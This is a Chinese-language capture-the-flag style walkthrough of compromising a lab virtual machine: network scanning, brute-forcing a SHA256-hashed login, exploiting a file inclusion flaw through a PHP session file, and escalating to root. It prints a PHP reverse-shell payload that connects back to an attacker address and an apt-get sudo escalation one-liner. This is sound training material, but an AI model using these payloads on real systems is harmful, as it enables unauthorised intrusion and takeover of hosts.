前言
这个主机还是比较简单的,又学到了一种文件包含漏洞的利用姿势。
信息收集
首先扫描主机ip:
1 | kali@kali:~$ nmap -sP 192.168.247.1/24 |
发现目标主机ip为1921.168.247.226
,接着扫描开启的服务:
1 | kali@kali:~$ nmap -p1-65535 -A 192.168.247.226 |
nmap扫描只在目标主机发现了http服务。
登录密码爆破
访问目标站点,发现需要先登录:
随便尝试下密码,抓个包,发现提示我们:
1 | Password or password hash is not correct, make sure to hash it before submit. |
原来我们需要先给密码进行sha256加密再提交啊。而且之前在测试登录密码的时候,还尝试了sql注入,结果发现提示:
1 | Username is not correct. |
这说明用户名admin
是正确的,然后拿到burpsuite中去fuzz,直接fuzz密码就行。因为之前已经提示需要给密码sha256加密了,所以在burp中需要设置一下。将Payload Sets
设置为Runtime file
,并对每个密码进行sha256加密:
但是跑完之后发现什么都没跑出来,换了大一点的字典还是一样的结果,郁闷。看了别人的wp,发现sha256值竟然是大写的,而burpsuite默认的sha256加密之后结果是小写的。那就先将字典处理一下好了:
1 | import hashlib |
然后用新的字典重新fuzz,发现了密码,此时没了登录错误的提示:
得到登录的账号密码:
1 | username=admin&password=8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918 |
漏洞挖掘
登录之后发现有一个搜索框,还有一个Cookie条款:
先看一下这个搜索框,随便输入12
,返回:
如果查看一些敏感文件呢?比如/etc/passwd
,竟然真的返回了内容:
说明此处存在一个文件包含漏洞。
漏洞利用
session文件利用
因为靶机上是apache服务器,先尝试包含apache常见的日志文件:
1 | /var/log/apache/access.log |
但是都没有回显。在cookie.php
页面中说网站使用了cookie和session来维持用户和服务器会话的状态:
session文件的默认保存位置由php.ini文件中的session.save_path
来决定,在linux中一般为:
1 | /tmp |
session文件的文件名开头为sess_
。
F12查看cookie值为k8loege82kes1tn96762sqk2m1
,所以对应的session文件就是/var/lib/php/sessions/sess_k8loege82kes1tn96762sqk2m1
,尝试包含该文件:
1 | loggedin|b:1;name|s:5:"admin";id|i:1;user_pref|s:1:"/"; |
其中user_pref
是另一个cookie值,传入时是需要url编码的。那可以用user_pref
写入一些php代码:
1 | <?php phpinfo();?> |
包含该文件,已经执行了phpinfo();
,可能看的不是很清楚:
反弹shell
那么接下来就可以进行反弹shell
1 | <?php system ("bash -c 'bash -i >& /dev/tcp/192.168.247.210/23333 0>&1'");?> |
成功连接目标主机。
提权
根据内核版本提权
首先查看目标主机的内核版本以及操作系统:
1 | www-data@ubuntu:/var/www/html$ uname -r |
这个内核版本和DC-3
靶场是一样的啊,都是ubuntu 4.4.21
。打开metasploit,搜索可用的本地提权漏洞:
根据39772.txt中的poc,首先要下载提供的exp:https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip (得挂个代理才行)。
下载后解压zip包发现有两个tar包,分别是crasher.tar
和exploit.tar
,这里用的是exploit.tar
包中的exp,解压后有4个文件:
1 | compile.sh |
同样将这4个文件上传到目标主机上,先赋予compile.sh
文件执行权限,然后执行:
1 | chmod -R 777 compile.sh |
但是在执行compile.sh
时出错了:
因为对二进制不了解,我也没办法修改exp,只能另辟蹊径。
sudo命令提权
sudo -l
查看有什么命令是当前用户能sudo执行的:
发现了/usr/bin/apt-get
命令,在网上看到了一篇利用apt-get
提权的文章: https://www.hackingarticles.in/linux-for-pentester-apt-privilege-escalation/ :
1 | sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/bash |
提权成功。
总结
这次的漏洞又是一个文件包含漏洞,之前的利用点是apache或是nginx的日志文件,这次是因为站点启用了cookie和session,所以这里是利用了session文件代码执行来进行反弹shell,其实这个知识点在之前的就已经学过了CVE-2018-12613 phpMyAdmin 4.8.1 文件包含漏洞 & HCTF2018 WarmUp,但是要想起来利用还是有点难度的。